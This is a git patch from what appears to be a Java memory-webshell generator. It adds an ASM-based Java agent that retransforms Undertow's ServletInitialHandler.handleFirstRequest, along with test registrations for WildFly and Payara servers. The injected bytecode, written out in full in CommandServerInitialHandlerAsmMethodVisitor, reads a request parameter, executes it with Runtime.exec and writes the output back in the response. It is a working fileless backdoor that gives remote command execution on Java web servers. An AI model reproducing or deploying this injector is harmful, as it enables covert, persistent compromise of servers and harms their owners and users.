From 255bfbd985972cffc6765238065ef75d6a387152 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 28 Mar 2025 22:59:26 +0800 Subject: [PATCH] feat: support undertow agent with asm (#51) --- .../com/reajason/javaweb/memshell/Server.java | 1 + .../reajason/javaweb/memshell/ShellType.java | 6 +- .../memshell/server/UndertowShell.java | 6 +- .../glassfish/GlassFish3ContainerTest.java | 2 +- .../payara/Payara5201ContainerTest.java | 6 +- .../payara/Payara520225ContainerTest.java | 6 +- .../payara/Payara620222ContainerTest.java | 6 +- .../wildfly/Wildfly18ContainerTest.java | 6 +- .../wildfly/Wildfly23ContainerTest.java | 6 +- .../wildfly/Wildfly30ContainerTest.java | 6 +- .../wildfly/Wildfly9ContainerTest.java | 6 +- ...letInitialHandlerAgentWithAsmInjector.java | 99 ++++++++ ...dServerInitialHandlerAsmMethodVisitor.java | 211 ++++++++++++++++++ 13 files changed, 353 insertions(+), 14 deletions(-) create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index 239c8914..90250252 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -232,6 +232,7 @@ public enum Server { .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class) .build()); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 32c6d2c0..3cfec4cf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -19,13 +19,15 @@ public class ShellType { public static final String NETTY_HANDLER = "NettyHandler"; public static final String AGENT = "Agent"; + public static final String ASM = "ASM"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; - public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM"; + public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; - public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM"; + public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; + public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java index f0d2156d..c032b68c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector; -import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector; -import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector; -import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector; +import com.reajason.javaweb.memshell.injector.undertow.*; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -48,6 +45,7 @@ public class UndertowShell extends AbstractShell { .addInjector(LISTENER, UndertowListenerInjector.class) .addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class) .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class) + .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class) .build(); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 9424374b..866955b5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -60,7 +60,7 @@ public class GlassFish3ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, -// ShellType.AGENT_FILTER_CHAIN_ASM, +// ShellType.AGENT_FILTER_CHAIN_ASM, 内置了 asm 但是版本太低 ShellType.CATALINA_AGENT_CONTEXT_VALVE // ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index f3881d66..4122f7ef 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -51,7 +51,11 @@ public class Payara5201ContainerTest { static Stream casesProvider() { Server server = Server.Payara; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE +// ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM // 内置了 ASM,但是版本较低,是 7 版本不兼容 + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 81cb3b22..bcae8185 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -51,7 +51,11 @@ public class Payara520225ContainerTest { static Stream casesProvider() { Server server = Server.Payara; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 452ee343..ad7fe62d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -51,7 +51,11 @@ public class Payara620222ContainerTest { static Stream casesProvider() { Server server = Server.Payara; - List supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 86d841e6..5cf809fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -51,7 +51,11 @@ public class Wildfly18ContainerTest { static Stream casesProvider() { Server server = Server.Undertow; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 47296035..839342b3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -51,7 +51,11 @@ public class Wildfly23ContainerTest { static Stream casesProvider() { Server server = Server.Undertow; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index 939df168..b883a35f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -51,7 +51,11 @@ public class Wildfly30ContainerTest { static Stream casesProvider() { Server server = Server.Undertow; - List supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER); + List supportedShellTypes = List.of( + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword) // AntSword not support jakarta diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index ddbd9c29..190e4f70 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -55,7 +55,11 @@ public class Wildfly9ContainerTest { static Stream casesProvider() { Server server = Server.Undertow; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); List> unSupportedCases = List.of( Triple.of(ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar) // Request ClassNotFound in module diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java new file mode 100644 index 00000000..1941d2e8 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.memshell.injector.undertow; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler"; + private static final String TARGET_METHOD_NAME = "handleFirstRequest"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getConstructors()[0]; + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public UndertowServletInitialHandlerAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + System.out.println(name); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + System.out.println(argumentTypes.length); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new UndertowServletInitialHandlerAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java new file mode 100644 index 00000000..c6784657 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java @@ -0,0 +1,211 @@ +package com.reajason.javaweb.memshell.shelltool.command.undertow; + +import org.objectweb.asm.Label; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.Type; + +/** + * @author ReaJason + */ +public class CommandServerInitialHandlerAsmMethodVisitor extends MethodVisitor { + + private final Type[] argumentTypes; + + public CommandServerInitialHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argumentTypes; + } + + @Override + public void visitCode() { + super.visitCode(); + + // First local variable index after method parameters + int localVarIndex = 1; + for (Type type : argumentTypes) { + localVarIndex += type.getSize(); + } + + // Define our parameter name + mv.visitLdcInsn("paramName"); + int paramNameIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" + + // Define labels for try-catch + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + + // Register the try-catch block + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); + + // Start of try block + mv.visitLabel(tryStart); + + // Initialize servletRequestContext as null + mv.visitInsn(Opcodes.ACONST_NULL); + int servletRequestContextIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store servletRequestContext + + // Determine which argument is servletRequestContext + // Check argumentTypes.length - if argumentTypes.length == 2, use arg[1], else use arg[2] + if (argumentTypes.length == 2) { + // Access first argument (adjusted for static/instance method) + mv.visitVarInsn(Opcodes.ALOAD, 2); + } else { + // Access second argument (adjusted for static/instance method) + mv.visitVarInsn(Opcodes.ALOAD, 3); + } + + mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store in servletRequestContext variable + + // Get request: request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext) + mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getServletRequest"); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + int requestIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, requestIndex); // Store request + + // Get response: response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext) + mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getServletResponse"); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + int responseIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, responseIndex); // Store response + + // Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName) + mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", + "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getParameter"); + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", + "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + + // Invoke the getParameter method + mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", + "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); + int cmdValueIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, cmdValueIndex); // Store cmd in local var 4 + + // Check if cmd is not null + mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd + Label ifNullLabel = new Label(); + mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel); + + // Execute the command: Process exec = Runtime.getRuntime().exec(cmd); + mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); + int processIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process + + // Get input stream: InputStream inputStream = exec.getInputStream(); + mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); + int inputStreamIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream + + // Get response output stream + mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getOutputStream"); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream"); + int outputStreamIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream + + // Create buffer: byte[] buf = new byte[8192]; + mv.visitIntInsn(Opcodes.SIPUSH, 8192); + mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE); + int bufferIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] buffer + + // While loop to read and write data + Label loopStart = new Label(); + Label loopEnd = new Label(); + + // Start of loop + mv.visitLabel(loopStart); + + // Read data: inputStream.read(buf) + mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream + mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false); + int lengthIndex = localVarIndex++; + mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length (note: not incrementing index yet) + + // Check if length == -1 + mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); + mv.visitInsn(Opcodes.ICONST_M1); + mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd); + + // Write data: outputStream.write(buf, 0, length) + mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream + mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer + mv.visitInsn(Opcodes.ICONST_0); + mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false); + + // Go back to start of loop + mv.visitJumpInsn(Opcodes.GOTO, loopStart); + + // End of loop + mv.visitLabel(loopEnd); + + // Return from the method without calling original doFilter + mv.visitInsn(Opcodes.RETURN); + + // If cmd is null, continue with original method + mv.visitLabel(ifNullLabel); + + // End of try block + mv.visitLabel(tryEnd); + + // Skip catch block if we didn't enter it + Label afterCatch = new Label(); + mv.visitJumpInsn(Opcodes.GOTO, afterCatch); + + // Start of catch block + mv.visitLabel(catchHandler); + // The exception is now on the stack + mv.visitVarInsn(Opcodes.ASTORE, localVarIndex); // Store exception in local var 10 and discard it + + // End of catch block + mv.visitLabel(afterCatch); + } +} \ No newline at end of file